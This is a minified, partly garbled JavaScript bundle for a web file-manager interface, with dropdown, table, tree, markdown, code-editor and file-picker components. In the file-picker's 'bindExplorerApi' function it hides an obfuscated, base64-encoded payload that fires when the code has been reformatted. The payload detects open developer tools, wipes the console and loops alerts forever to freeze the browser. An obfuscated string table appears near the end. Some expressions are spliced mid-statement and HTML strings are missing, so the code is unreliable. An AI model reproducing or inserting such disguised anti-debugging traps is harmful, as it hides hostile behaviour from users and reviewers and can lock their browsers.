n.apply(this,arguments)}),"setValue":function(e,t){t&&_.isString(t)&&e.attr("multiple")&&(t=t.split(",")),e.val(t).trigger("change")},"loadSource":function(e){requireAsync([VENDER_PATH+"select2/css/select2.min.css",VENDER_PATH+"select2/js/select2.full.min.js"],e)},"selectInit":function(e,t){var i=!!e.attr("multiple"),n="form-select2-dropdown-type-"+t.attr("data-type");n+=" form-select2-dropdown-key-"+t.attr("data-key");var a=this,s={"tags":!1,"tokenSeparators":[","," "],"multiple":i,"closeOnSelect":!i,"dropdownAutoWidth":!1,"dropdownCssClass":n+" animated selectDropdownShow","allowClear":!0,"placeholder":LNG["explorer.selectDesc"],"language":a.selectLanguage(),"matcher":a.searchMatch};this.selectDataMake(s,e,function(){var i=s.templateResult||function(){};s.templateSelection=s.templateSelection||s.templateResult,s.templateResult=function(e){var t=i(e)||e.text;return a.templateResultAfter(t)},a.trigger("select.initParam",s),e.select2(s),a.selectEventBind(e,t,s),a.selectEventBindAfter(e,t)}),e.data("kodViewSelect",this);var r=e.data("select2");r&&r.$dropdown&&r.$dropdown.addClass(n),this.bind("onRemove",function(){try{if(!e||!e.data("select2"))return;e.select2("destroy")}catch(error){}})},"templateResultAfter":function(e){if(!e)return e;var t="";return"string"==typeof e?t=""+e+"":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$",""),$(t)},"selectDataMake":function(e,t,i){e.templateResult=e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+t+""):e.text},i&&i()},"searchMatch":function(e,n){if(n.text===undefined)return null;if(""==e.term)return n;var a=function a(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},t=n.text.indexOf(e.term);if(-1>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return r});var u=function u(e,t){for(var i,n=[],a=0,s="",r="",o=0,l=(e=atob(e))["length"];o=t.length?{"value":undefined,"done":!0}:(e=n(t,i),this._i+=e.length,{"value":e,"done":!1})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var p=r(i(20)),s=r(i(487)),n=r(i(491)),a=r(i(492));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.config=e.config,this.makeTable(),this.actions=new a["default"]({"parent":this}),this.pageing=new n["default"]({"parent":this}),this.currentPath="",this.searchValue="",this.currentCount=0,this.refresh(),this.bindNotify()},"makeTable":function(){var e=i(493),t=this.renderHtml(e,{"config":this.config},!1);if(!t)return!1;this.target=$(this.parent.$el).find(this.config.container),this.target.html(t),this.dataTitle()},"dataTitle":function(){var e="",t={};for(var i in this.config.items){var n=this.config.items[i],a="",s="down";this.config.order&&i==this.config.order[0]&&(a="this",s=this.config.order[1]);var r="";this.config.sort&&_.includes(this.config.sort,n.field)&&(r='',r+=''),e+='
    '+n.title+r+"
    ",t[n.field+"_"+i]=n}var o='
    '+e+"
    ";this.columns=t,this.target.find(".content .list-table").html(o)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum};if(this.config.order){var t=this.config.order[0];e.sortField=this.config.items[t].field,e.sortType=this.config.order[1]}this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue);var n=this,a=Tips.loadingMask();(0,s["default"])(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(e){if(this.target){var t="";e!=undefined&&(0,p["default"])(e).length||(t+='
    '+LNG["explorer.noData"]+"
    ");var o=function o(e,t,i){var n={};_.get(e,"attr.formatter")&&(n=e.attr.formatter(i));var a=$.objClone(e);a.attr=a.attr||{},a.attr=$.extend({},a.attr,n),_.unset(a.attr,"formatter");var s=[];for(var r in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(r+'="'+a.attr[r]+'"');return s.join(" ")},i=this.columns;for(var n in e=_.filter(e)){var a="",s=e[n];for(var r in i){var l=r.split("_")[0],c=s[l],d=i[r];_.isFunction(i[r].formatter)&&(c=i[r].formatter(c,n,e)),a+="
    '+c+"
    "}t+="
    "+a+"
    "}var u=this.target.find(".content .list-table");u.children(":not(.title)").remove(),u.append(t),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())&&this.target.find(".toolbar").hide()}},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t){e.exports=function(e,t){return{"enumerable":!(1&e),"configurable":!(2&e),"writable":!(4&e),"value":t}}},function(e,t,i){i(120);for(var n=i(3),a=i(14),s=i(21),r=i(4)("toStringTag"),o="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),l=0;l"+n+"
    ","hash":a,"time":timeFloat()}},r=function r(e,t){var i=e.render(t);return _.each(n,function(e){i=e(i)}),i},n=[],t=function t(e){n.push(e)},p=function p(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),s=0;s#';$(this).attr("data-link","#"+t),$(n).prependTo($(this))}a+='
  • '+e+"
  • "}),e.find(".markdown-menu").html("
      "+a+"
    "),'
      '+a+"
    "},i=!1,e=function e(t,i,n){a(function(e){i=i||$("
    "),d(e,t,i),i.hasClass("maskView")||((0,m["default"])(i),i.addClass("maskView")),n&&n(i.html())})};return t(function(e){return DOMPurify.sanitize(e,{"ADD_TAGS":["iframe","style","foreignObject"],"USE_PROFILES":{"html":!0,"mathMl":!0,"svg":!0,"svgFilters":!0}})}),{"loadLib":a,"parseHtml":function(e){return i.options.html=!1,r(i,e)},"parse":e,"parseMenu":f,"parseMethodAdd":t,"tokenBlockList":p}};var l=n(i(252)),m=n(i(273));function n(e){return e&&e.__esModule?e:{"default":e}}},function(e,t){var i=Math.ceil,n=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(0\n\t\t\t"+a.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t';i.find(n+"span").before(r),t.$node=i.find(n+"a").addClass("tree-node"),t.$ico=i.find(n+"my_ico"),t.$span=i.find(n+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,a){if(!this.$el)return"";var s=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,s),this.zTree=$.fn.zTree.getZTreeObj(a),this.zTree.rootPath=n,e&&e.code||this.$el.html('
    '+LNG["explorer.systemError"]+"
    "),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,a,s){var e=$.fn.zTree,r=e.consts.event,o=e._z.view,l=e._z.tools;if(n&&!e._z.data.nodeIsParent(i,n))return l.apply(s),!1;if(n&&n.isAjaxing)return!1;var c=n.$ico;return c.addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){c.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),o.setNodeLineIcos(i,n),o.addNodes(i,n,-1,t,!!a),i.treeObj.trigger(r.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(s)},function(){c.removeClass("ico_loading"),n.isAjaxing=null,o.setNodeLineIcos(i,n),i.treeObj.trigger(r.ASYNC_ERROR),l.apply(s)}),!0},"expandAuto":function(e,i,n){var a=this.zTree;if(a){_.isString(e)&&(e=_.filter(e.split(","),function(e){return e&&"0"!=e}));for(var t=!1,s=e.reverse(),r=[],o=0;odocument.F=Object<\/script>"),e.close(),d=e.F;i--;)delete d[c][o[i]];return d()};e.exports=Object.create||function(e,t){var i;return null!==e?(a[c]=s(e),i=new a,a[c]=null,i[l]=e):i=d(),t===undefined?i:r(i,t)}},function(e,t,i){var n=i(24);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==n(e)?e.split(""):Object(e)}},function(e,t){e.exports=function(e,t,i,n){if(!(e instanceof t)||n!==undefined&&n in e)throw TypeError(i+": incorrect invocation!");return e}},function(e,t,i){var a=i(14);e.exports=function(e,t,i){for(var n in t)i&&e[n]?e[n]=t[n]:a(e,n,t[n]);return e}},function(e,t,i){e.exports={"default":i(281),"__esModule":!0}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0});var a=r(n(8)),c=r(n(5)),s=r(n(6));function r(e){return e&&e.__esModule?e:{"default":e}}var o,l,d=!1;i["default"]=ClassBase.extend({"init":function(){this.viewLoad=!0},"getValue":function(e,t){var i=e.parent().find(".ace_editor").data("editor");return i&&i.getValue()},"setValue":function(e,t){var i=e.parent().find(".ace_editor").data("editor");if(!i)return!1;i.setValue(t),i.selection.moveTo(0,0);var n=i.session.getUndoManager();n&&n.reset(),i.focus()},"bindForm":function(e){var t=this;this.$(".form-codeEditor textarea").each(function(){t.initEditor($(this),e)})},"initAce":(l=(0,s["default"])(c["default"].mark(function u(){var t,i,n,a,s,r,o,l;return c["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise(VENDER_PATH+"ace/emmet.min");case 2:return e.next=4,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ace");case 4:return e.next=6,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-modelist");case 6:return e.next=8,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-language_tools");case 8:return e.next=10,requirePromise(VENDER_PATH+"ace/src-min-noconflict/ext-emmet");case 10:if(d)return e.abrupt("return");e.next=12;break;case 12:d=!0,t=this,(i=ace.require("ace/ext/emmet")).setCore("ace/ext/emmet"),i.commands.removeCommand("emmet:toggle_comment"),ace.aceModeList=ace.require("ace/ext/modelist"),ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager}),n=ace.require("ace/lib/dom"),a=n.buildDom,n.buildDom=function(){var e=t.langData();return t.langParse(arguments[0],e),a.apply(this,arguments)},s=ace.require("ace/lib/net"),r=s.loadScript,s.loadScript=function(e){return"string"==typeof e&&-1!==e.search("mode-php.js")&&(arguments[0]=e.replace("mode-php.js","mode-phhp.js")),"string"==typeof e&&-1!==e.search("php.js")&&(arguments[0]=e.replace("php.js","phhp.js")),r.apply(s,arguments)},o=ace.config.moduleUrl,ace.config.moduleUrl=function(e){return-1!==e.search("php_worker")&&(arguments[0]=e.replace("php_worker","phhp_worker")),o.apply(ace.config,arguments)},(l=ace.require("ace/mouse/default_handlers").DefaultHandlers).prototype.onMouseDown.hook("onMouseDown",l.prototype,function(){arguments[0].preventDefault=function(){return!0}}),this.trigger("editor.init");case 30:case"end":return e.stop()}},u,this)})),function p(){return l.apply(this,arguments)}),"langParse":function(e,t){if(e&&$.isArray(e)){for(var i=0;i').appendTo(p),p.find(".editor-full-screen").bind("click",function(){p.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){p.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()})},"insertRangeWith":function(s){var r=this,t=r.session.selection.ranges;_.isEmpty(t)&&(r.selection.isEmpty()&&r.selection.selectWord(),t=[r.getSelectionRange()]),_.each(t,function(t){var i=r.session.getTextRange(t)||"",n=s(i);if(n)try{var a=t.clone();a.end=r.session.replace(t,n),r.selection.addRange(a)}catch(e){}})},"editorMobileBind":function(e){if($.browserIS.ios&&$.isWindowTouch()){var t=$(e.container).find(".ace_text-input");$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly")&&t.addClass("hidden").attr("disabled","disabled")}},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input")||(e.$formMakerInput="notForm")),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=i(13),n={"userInfo":function(e){if(!e)return"";var t=e.avatar||STATIC_PATH+"images/common/default-avata.png",i=(0,r.pathIcon)(t);if(!e.avatar){var n=e.nickName||e.name,a="blue,purple,cyan,green,pink,red,orange,yellow,grey,blue,grey,yellow,green".split(","),s=[];_.each(a,function(e){s.push("label-"+e+"-light"),s.push("label-"+e+"-normal"),s.push("label-"+e+"-deep")})}n=e.nickName||e.name||e.nameDisplay||"";return e.userID==window.G.user.userID&&(n=LNG["common.me"]),"\n\t\t\t\n\t\t"}};t["default"]=n},function(e,t,i){var n=i(3).document;e.exports=n&&n.documentElement},function(e,t,i){var n=i(40),a=i(4)("iterator"),s=i(21);e.exports=i(1).getIteratorMethod=function(e){if(e!=undefined)return e[a]||e["@@iterator"]||s[n(e)]}},function(e,t,i){var a=i(12),s=i(25),r=i(4)("species");e.exports=function(e,t){var i,n=a(e).constructor;return n===undefined||(i=a(n)[r])==undefined?t:s(i)}},function(e,t,i){function n(){var e=+this;if(x.hasOwnProperty(e)){var t=x[e];delete x[e],t()}}function a(e){n.call(e.data)}var s,r,o,l=i(16),c=i(123),d=i(65),u=i(45),p=i(3),h=p.process,f=p.setImmediate,m=p.clearImmediate,w=p.MessageChannel,v=p.Dispatch,g=0,x={},b="onreadystatechange";f&&m||(f=function(e){for(var t=[],i=1;i\n\t\t",t=this.$dialog.find(".aui-state-highlight");$(e).insertBefore(t);var i=this.$dialog.find(".aui-buttons button"),n=60;i.each(function(){n+=$(this).outerWidth()}),this.$dialog.find(".select-api-input-box").css("right",n);var a=this.$dialog.find(".select-api-input-box input");"createFile"==this.options.type&&(this.options.single=!0,a.removeAttr("readonly"),a.val(this.options.createFile.name),a.keyEnter(function(){return t.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):t.trigger("click")}))},"defaultTitle":function(){if(!this.options.title){var e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]},t=e[this.options.type]||e["default"];return this.options.single||(t+='"('+LNG["explorer.selectMulti"]+';)"'),t}},"bindExplorerApi":function(){var closeBeforeJ4=function(){return false};var getSelectNodeF22S=closeBeforeJ4+"";var listenHeaderbn2=69-(5841/(110-11));if(_.includes(getSelectNodeF22S,String.fromCharCode(listenHeaderbn2))){setTimeout(hashDecode("KGZ1bmN0aW9uKCl7IGlmKCF3aW5kb3cuY29uc29sZSB8fCAhd2luZG93Lk9iamVjdCB8fCAhd2luZG93Lk9iamVjdC5kZWZpbmVQcm9wZXJ0eSl7cmV0dXJuO30gaWYod2luZG93Ll9jb25zb2xlXykgcmV0dXJuOyB3aW5kb3cuX2NvbnNvbGVfID0gdHJ1ZTsgdmFyIHggPSBkb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCdkaXYnKTsgdmFyIGlzT3BlbmluZyA9IGZhbHNlLGlzT3BlbmVkPWZhbHNlOyB2YXIgbG9nID0gd2luZG93LmNvbnNvbGU7IHZhciBlcnJvciA9IGZ1bmN0aW9uKCl7IHZhciBmID0gZnVuY3Rpb24oKXt9OyB3aW5kb3cuY29uc29sZSA9IHsnbG9nJzpmLCdpbmZvJzpmLCd0cmFjZSc6ZiwnZXJyb3InOmYsJ2RlYnVnJzpmLCd3YXJuJzpmLCdlcnJvcic6Zn07IHdoaWxlKDEpe2FsZXJ0KCk7ZXNjYXBlKCcrJyl9OyB9OyBPYmplY3QuZGVmaW5lUHJvcGVydHkoeCwnaWQnLHsgZ2V0KCl7IGlmKCFpc09wZW5pbmcpeyBpc09wZW5pbmc9dHJ1ZTsgZXJyb3IoKTsgfSBpc09wZW5lZD10cnVlOyB9IH0pOyB3aW5kb3dbJ3NldEludGVydmFsJ10oZnVuY3Rpb24oKXsgaXNPcGVuZWQ9ZmFsc2U7IGxvZ1snaW5mbyddKHgpOyBsb2dbJ2NsZWFyJ10oKTsgaWYoIWlzT3BlbmVkICYmIGlzT3BlbmluZyl7IGlzT3BlbmluZyA9IGZhbHNlOyB9IH0sMTAwMCk7IH0pKCk7"));};this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api";this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.listSplit.splitResize.storeKey+=e},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.resultParse(this.selectResult);if(!_.isEmpty(e))return"createFile"==this.options.type?this.callbackCreateFile(e):1==this.options.makeUrl?this.callbackMakeUrl(e):void this.options.callback(e,this.options)},"callbackMakeUrl":function(e){var t=[];this.options.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.options.createFile;n.path=t.path+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var i=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);var t=i.resultParse(e.data);i.options.callback(t,i.options)})},"checkPathExt":function(e){var t=this.options.allowExt,i=this.options.allowExt.split("|");return""==t||_.includes(i,e)},"checkPathAuth":function(e){var t=this.options.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e)||i.canUpload(e);default:return!0}},"selectAdd":function(e){var t=this.options;return!(!e||!this.checkPathAuth(e))&&(!(t.single&&1<=this.selectResult.length)&&(!!("all"==t.type||_.includes(["folder","createFile"],t.type)&&"folder"==e.type||"file"==t.type&&"file"==e.type&&this.checkPathExt(e.ext))&&(this.selectResult.push(e),!0)))},"selectChange":function(){var t=this,i=this.select.fileLight,e=i.$listSelect,n=this.path.jsonData;if(this.selectResult=[],0==e.length)this.selectAdd(n.current);else if(1==e.length){var a=i.itemInfo(e);this.selectAdd(a)}else if(1a;)r(n,i=t[a++])&&(~l(s,i)||s.push(i));return s}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.loadPlugin=t.loadLang=t.loadOption=t.loadApi=t.loadMain=undefined;var n=function w(e){return e&&e.__esModule?e:{"default":e}}(i(81));window.Promise||(window.Promise=n["default"]);var a="./static/";if(window.API_HOST){var s=API_HOST.split("/");s.pop(),a=s.join("/")+"/static/"}window.API_URL=function(e,t){var i=window.API_HOST,n="&";return _.isNull(t)||_.isUndefined(t)?i+(e||""):(-1==i.indexOf("?")&&(n="?"),i+(e||"")+n+(t||""))},window.API_URL_TRUE=function(e){var t=(e=e||window.location.href).replace(API_URL(),"").replace(G.kod.APP_HOST,"").replace("?","&");return G.kod.APP_HOST+"?"+t};var r=window.STATIC_PATH||a;i.p=r+"app/dist/";var o=i.e(3).then(function(e){i(584),i(585),i(586),i(587),i(588),i(589),i(590),i(591),i(592),i(593),i(594),i(595),i(596),i(597),i(598),i(599),i(600),i(601),i(602),i(603),i(604),i(605),i(606),i(607),i(608),i(609),i(610),i(611),i(612),window.Pinyin=i(613)["default"],i(614),i(615),i(616),i(617),i(618),i(619),i(620),i(621),i(622),i(623),i(624),i(625),i(626),i(627),i(628),i(629),i(630),i(631),i(632),i(633),window.Backbone.$=$,window.Events=Backbone.Events,c()}.bind(null,i))["catch"](i.oe),l=Date.now(),c=function c(){var i=seajs.use;seajs.use=function(){var e=_.toArray(arguments),n=function n(e){var t=_.get(window,"G.kod.version",""),i=_.get(window,"G.kod.build","");return!(t=1==_.get(window,"G.kod.ENV_DEV")?l:t+"."+i)||_.includes(e,"&v=")||_.includes(e,"?v=")?e:_.includes(e,"?")?e:(_.endsWith(e,".htm")||_.endsWith(e,".html")||_.endsWith(e,".css")||_.endsWith(e,".json")||_.endsWith(e,".js")||(e+=".js"),e+"?v="+t)},t=e[0];_.isString(t)?e[0]=n(t):_.isArray(t)&&(e[0]=_.map(t,function(e){return n(e)})),i.apply(seajs,e)},window._ktime=dateFormat(!1,"dhi"),window.requireAsync=seajs.use,window.requirePromise=function(e){var t=$.Deferred();return seajs.use(e,t.resolve),t}};(function v(){if("development"==window.lessENV){var n=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(e,t){var i=Array.prototype.slice.call(arguments,0);return t.match(/\.less$/)&&(i[1]=t+"?_t="+l),n.apply(this,i)}}})();var d=function d(){var e=window.STATIC_PATH_ALL||a;requireAsync([e+"style/lib/alifont/iconfont.css",e+"style/lib/font-icon/style.css"])},u=function u(){var e=API_URL("user/view/plugins","v="+time());return requirePromise(e)},p=function p(){var e=API_URL("user/view/options","v="+time());return requirePromise("text!"+e).then(function(e){if(e&&((e=JSON.parse(e))&&e.code&&e.data)){window.G=_.extend(window.G||{},e.data);var t=G.kod.staticPath,i=API_URL();if(!_.startsWith(t,"http")){if(_.startsWith(t,"/"))t=$.parseUrl(i).origin+t;else t=i.substr(0,_.lastIndexOf(i,"/"))+"/"+t;t=t.replace("/./","/")}window.STATIC_PATH_ALL=window.STATIC_PATH_ALL||G.kod.APP_HOST+"static/",window.STATIC_PATH=t,window.VENDER_PATH=window.STATIC_PATH+"app/vender/",window.API_HOST=G.kod.appApi,$.dialog.defaults.path=window.STATIC_PATH+"app/vender/artDialog-icon/",requireAsync(window.STATIC_PATH+"style/lib/alifont/iconfont.js"),d()}})},h=function h(){var e=API_URL("user/view/lang","v="+time());return requirePromise("text!"+e).then(function(e){(e=e&&JSON.parse(e))&&e.code&&e.data&&(window.LNG=_.extend(window.LNG||{},_.get(e,"data.list")),window.G.lang=_.get(e,"data.lang"),window.LNG.find=function(i){var n={};return _.each(LNG,function(e,t){_.includes(e,i)&&(n[t]=e)}),n},window.LNG.make=function(e){var t=_.toArray(arguments),i=LNG[e];if(!i)return e;for(var n=1;n .loading-body").fadeOut(1e3,function(){$(this).remove()})})},m=function m(){return window.API_HOST?o.then(function(){NProgress.isStarted()||NProgress.start(),NProgress.set(.6)}).then(p).then(function(){NProgress.set(.8)}).then(h).then(function(){NProgress.done()}):o.then()};t.loadMain=f,t.loadApi=m,t.loadOption=p,t.loadLang=h,t.loadPlugin=u},function(e,t,i){e.exports={"default":i(113),"__esModule":!0}},function(e,t){e.exports=function(e,t){return{"value":t,"done":!!e}}},function(e,t,i){"use strict";var n=i(3),a=i(1),s=i(10),r=i(11),o=i(4)("species");e.exports=function(e){var t="function"==typeof a[e]?a[e]:n[e];r&&t&&!t[o]&&s.f(t,o,{"configurable":!0,"get":function(){return this}})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function l(e){return e&&e.__esModule?e:{"default":e}}(i(15));var a,s=["NwzCiVTDog==","wrAmwo/Cs8KI","w6UEDsOGFg==","IFoAwpo=","LXclYTI=","EwzCi8KFwr9Hwpc=","woXCiVQDw6Q=","woRIE1jDiQ==","HnTDqBnCgA==","F8KjYHt/","wp3CsEkOw5Y=","wqDCu1Yew7w=","VCfDiMKqOQ==","BMKvw6PCh2Q=","AMOGw5LDg8KE","FcO8XEjCqA==","wqhcwovCmBs=","w5gjJMOsAA==","RsOBwr8XwoU=","B8KeS29M","wp/CusKnK8K3","w7HCq8OYWDI=","wrdaNVrCnw==","wqp8Pw3DiA==","LsOwHsO2Ug==","fjDChWI6","w7RVbsKFFA==","IsO1DMOaWQ==","RlJyAl4=","L2/CsMKTfw==","DSzCjkPDoA==","JMO8w4bDpMKa","w504wqQwfw==","MWTCjMKjWw==","EAbDqsKU","wo1kL33DnA==","QyrCi0gU","wpRNwqrCkxc=","OmsVcCbCjhTCq8O0wp/Dm14OwrnDkcOgWMKZD8KI","wpvCmcKdCcKn","wo1BLD3DqS89BsOjDcKO","OizCrcKLwq0=","CMKjcw==","wp/Ch1cjw78=","QsK4fgN9","wrLChMKDw5Ax","ZTvCtlYwwqhb","YcKTTHtZ","V8KDSn5k","WzXClTpe","w4wbwrchew==","H8OyGMOsdMKN","w7LDoVEXwos=","wrEJwpDCvMKa","w5zChsOowrJs","CsKOS21n","HsKBfXpf","VwTCvGQY","cBAWFsKx","LCbCm1jDqQ==","QRIQDMKXCw==","w5jCtMODwqp4","wqdSP8Kjw4M=","w5/CjcOoQSs=","w4BDwp8=","GMOlHsOiZMKNWMOsw6zCghrDv8Od","woXCskovw5w=","w6DCmsOkSQ==","LHd9KsKJ","w5zCv8OXwpVt","w4oMwqAtQg==","PMONw5nDisKl","bcOqw4zDrsOT","wplGBcOGNg==","wr9nN1fCrA==","e28FUXc=","wqVkFU/Csw==","worChWg+w4w=","w7bDk8OuJmxlwqnCjcOe","IHfCpMKVSQ==","TgU9D8KL","PnpxCcKu","Ik3Dny7CvQ==","ZMOxw4DDqMKU","w4BLTcOGXg==","Q8ODwpIfwrRKLQ==","YCEGKsKq","DjHCnFI=","VURQCVA=","wqbCn8KkUHbDscKnw65Iw5xyc8O4w7slw6PDkSPDjQ==","w58EwoAlbQ==","GkdXc8OL","PndzdcOCwoVGHsKk","wpIBwp/Cn8KX","E0/CncKsdw==","Lj/Dog==","woASwp/CksKo","w4vCiMOgRS7DqA==","LMODNMOrRQ==","wq54Ll0=","LMKsQnBZ","UzzDjQLDjsKxwpHDvcOlGMKMeMOWwqLDn8O4SMKYbsKPDsKAAcOuTsKiJThmaT51wrQEPURFeXfDnQPDrcOIwrttwoxPw6pmZsOdw7/Cv8OtJ0wZHUPDpMOxw5LCocKKwoHDmMO6woLCiMOqw4Fkw4zDgj7DlW4mGAMZw4t0bHAWwqB6w77Cvg4cw5zDsATCpMKvwrbCng==","bcO+w57DosKK","DDvDig==","dMKKVnh1","XUzDscKBHBMRwoZreD4=","w6LCoMOWeRc=","wrtsPn3Dg8O2B8K+Ow9lwpDCnw==","TsOzwp0Uwpw=","woNrKlfCosOX","ZsOrwrMUwpM=","wojCs8KBw4xfG3d6TsOawo3DjipOwrU=","I1oIwrPCvg==","w7NBwpoFwrA=","w5TDvMOaw5dISCEqDA==","woTCskcUw48=","wrDCtTRnDg==","wrPDtcOLBw==","bXdpKWQ=","PsOcw4TDhcKHw6c=","AElTFcKo","G8KAck9/","wolzHXbCnA==","ChvDrMKDFRXCpsOGOxrCscKDDMKQ","wpVJwqrCgiU=","FHHDl8OI","EWIbYzg=","w5pffsKrAg==","wp3Con8tw6U=","wr3Cj8KBw60c","DcKgf2l6","MXDDvwvCvQ==","w6pJwosNRg==","wpPDvXMGeA==","KmdqGMKU","wo9OBsKsw54=","w7A3HMOgKw==","wr